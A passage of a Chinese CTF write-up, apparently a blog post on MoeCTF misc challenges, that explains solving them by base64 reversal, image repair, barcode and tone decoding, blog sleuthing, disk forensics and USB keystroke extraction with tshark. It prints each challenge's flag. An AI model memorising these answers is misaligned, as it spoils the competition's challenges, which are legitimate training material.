class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e第一遍看着解出来好东西了,然后第二遍解出来不知道一堆啥东西……然后又不会整了。\u003c/p\u003e\u003cp\u003e突然发现第一遍解出来的东西开头是 \u003ccode\u003e==\u003c/code\u003e ,再想想题目名字……base64倒过来了属于是,然后整了个反转的脚本\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后就这么xjb整……遇见解出来不对劲的就反转……然后通过智能人工整了70多次。。。从100多MB整到1KB……得到flag\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/3NzvcCOM6ZYuqRW.png\" alt=\"filp\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{fffffflipppppp}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-White-Album\"\u003e\u003ca href=\"#06-White-Album\" class=\"headerlink\" title=\"06 White Album\"\u003e\u003c/a\u003e06 White Album\u003c/h3\u003e\u003cp\u003e看到 \u003ccode\u003e.png\u003c/code\u003e ,就猜要么是LSB要么是图片尺寸问题,试了一下果然是图片尺寸,在\u003ccode\u003e010 Editor\u003c/code\u003e 里改了下尺寸得到一个申必图案\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZpC9ox3itfAJLQm.jpg\" alt=\"whilt\" style=\"zoom:80%;\" /\u003e\u003cp\u003e猜了下是条码,就搜了下条码图案,发现是 \u003ccode\u003epdf417\u003c/code\u003e ,想找个在线扫的发现很难找,最后找到个网站可以解这个\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://online-barcode-reader.inliteresearch.com/\"\u003ehttps://online-barcode-reader.inliteresearch.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{WhY_@r3_u_s0_5K1ll3D}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-Phone-Call\"\u003e\u003ca href=\"#07-Phone-Call\" class=\"headerlink\" title=\"07 Phone Call\"\u003e\u003c/a\u003e07 Phone Call\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"http://dyf.ink/crypto/classical/others/#_24\"\u003ehttp://dyf.ink/crypto/classical/others/#_24\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cg1510167/article/details/114279633\"\u003ehttps://blog.csdn.net/cg1510167/article/details/114279633\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_33806914/article/details/91868832\"\u003ehttps://blog.csdn.net/weixin_33806914/article/details/91868832\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e就拖进AE看就行,手动一个一个解的,得到\u003cdel\u003e很臭的\u003c/del\u003eflag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{114514-1919810-7738-9634}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"08-社工题\"\u003e\u003ca href=\"#08-社工题\" class=\"headerlink\" title=\"08 社工题\"\u003e\u003c/a\u003e08 社工题\u003c/h3\u003e\u003cp\u003e这题可太草了,从假期整到开学……原来有4个博客2个仓库……\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://noahtie.github.io/\"\u003eNoahBox (noahtie.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://noahbox.github.io/\"\u003ehttps://noahbox.github.io/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://nuoyazhicheng.lofter.com/\"\u003ehttps://nuoyazhicheng.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://masternoah.lofter.com/\"\u003ehttps://masternoah.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在hexo博客点签订契约进入lofter博客,在lofter博客点一下上面 \u003cstrong\u003ei\u003c/strong\u003e 一样的标志找到另一个hexo博客,在里面留言板里找到了 HackerHS,最后找到第二个仓库根据意思在里面找到commits,发现莫斯电码,复制到在线网站解密,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"09-好-康-的\"\u003e\u003ca href=\"#09-好-康-的\" class=\"headerlink\" title=\"09 好 康 的\"\u003e\u003c/a\u003e09 好 康 的\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\" /\u003e\u003cp\u003e(被骗一次,之后就会被骗第二次\u003c/p\u003e\u003cp\u003e太草了,放完发现后面有一段不能放,用 \u003ccode\u003emkvtoolnix\u003c/code\u003e 分离出来字幕,拖进\u003ccode\u003e010 Editor\u003c/code\u003e 直接搜索 \u003ccode\u003emoectf\u003c/code\u003e ,找到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{N3v3r_90tt@_L3t-y0U_dOwN~}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"10-easyForensics\"\u003e\u003ca href=\"#10-easyForensics\" class=\"headerlink\" title=\"10 easyForensics\"\u003e\u003c/a\u003e10 easyForensics\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026spm=3001.4430\"\u003ehttps://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_37865996/article/details/87970732\"\u003ehttps://blog.csdn.net/qq_37865996/article/details/87970732\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\"\u003ehttp://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e找了半天,用 \u003ccode\u003eAccessData FTK Imager\u003c/code\u003e 打开,挂载,进入,翻目录找到 \u003ccode\u003eflag.mp4\u003c/code\u003e 一气呵成\u003c/p\u003e\u003cp\u003e打开 \u003ccode\u003eflag.mp4\u003c/code\u003e \u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\" /\u003e\u003cp\u003e草\u003c/p\u003e\u003cp\u003e又经过了漫长的鼓捣,最后在 \u003ccode\u003eFTK\u003c/code\u003e 里发现一些被删除的文件夹还有一个python文件,都是申必的命名,全部导出来,读了代码发现是把一个文件转成base64了,这里要注意 \u003ccode\u003edata = data.replace(\u0026quot;/\u0026quot;, \u0026quot;_\u0026quot;)\u003c/code\u003e\u003c/p\u003e\u003cp\u003e写了个脚本把文件夹的名字提取了出来(发现写了两个,好像差不多,随便粘一个)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sysfile_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(之后目录省略)'\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e''\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e root\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dirs\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e files \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewalk\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efile_dir\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e var \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e root s \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e var\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereplace\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"_\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"/\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(之后目录省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003es\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后用脚本把base64转文件,还搜了个大佬写的图形化工具,(最后发现是个word)得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th@_1s_N0t_U53FULL_@_4LL}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"11-R-P-G\"\u003e\u003ca href=\"#11-R-P-G\" class=\"headerlink\" title=\"11 R P G\"\u003e\u003c/a\u003e11 R P G\u003c/h3\u003e\u003cp\u003e是游戏捏,按F12还能出来 DevTools 捏,本来想怎么改地图直接穿过去,发现不会整,然后又改了下等级,好像也没啥用,然后又整了一下一进去就是第二个,还是不会整,最后在\u003ccode\u003eMap002.json\u003c/code\u003e 里发现了好像base64的申必字符,然后复制出来,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th3_w0rld_0f_G4m3}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"12-诺亚的日记\"\u003e\u003ca href=\"#12-诺亚的日记\" class=\"headerlink\" title=\"12 诺亚的日记\"\u003e\u003c/a\u003e12 诺亚的日记\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e我超,嘉心糖\u003c/del\u003e\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qiuchi1975/article/details/106149854/\"\u003ehttps://blog.csdn.net/qiuchi1975/article/details/106149854/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u012388993/article/details/116395497\"\u003ehttps://blog.csdn.net/u012388993/article/details/116395497\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codercto.com/a/109222.html\"\u003ehttps://www.codercto.com/a/109222.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.anquanke.com/post/id/85218\"\u003ehttps://www.anquanke.com/post/id/85218\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/ba9763ceb620\"\u003ehttps://www.jianshu.com/p/ba9763ceb620\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e是个流量包捏,随便翻了一下里面 \u003ccode\u003eHID Data\u003c/code\u003e 里好像有好东西捏,但怎么提取出来捏?看了上面的博客,先把流量包用 \u003ccode\u003etshark\u003c/code\u003e 转换成json,找到 \u003ccode\u003eHID Data\u003c/code\u003e 叫啥,然后再提出来\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e json \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e test.json\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e fields \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e usbhid.data \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e usbdata.txt\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后看博客里面只有两位是有用的,然后就是对着表翻译。找了好多脚本都是错的,交了很多次……最后终于找到个有用的\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# coding:utf-8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sys\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e osusb_codes \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x04\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"aA\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x05\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bB\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"cC\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x07\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"dD\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"eE\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"fF\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"gG\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"hH\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"iI\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"jJ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"kK\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"lL\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"mM\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"nN\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"oO\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pP\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"qQ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"rR\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sS\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"tT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x18\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"uU\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"vV\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"wW\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"yY\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"zZ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1!\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"2@\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"3#\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x21\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"4$\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"5%\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"6^\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"7\u0026amp;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"8*\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"9(\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x27\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"0)\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token 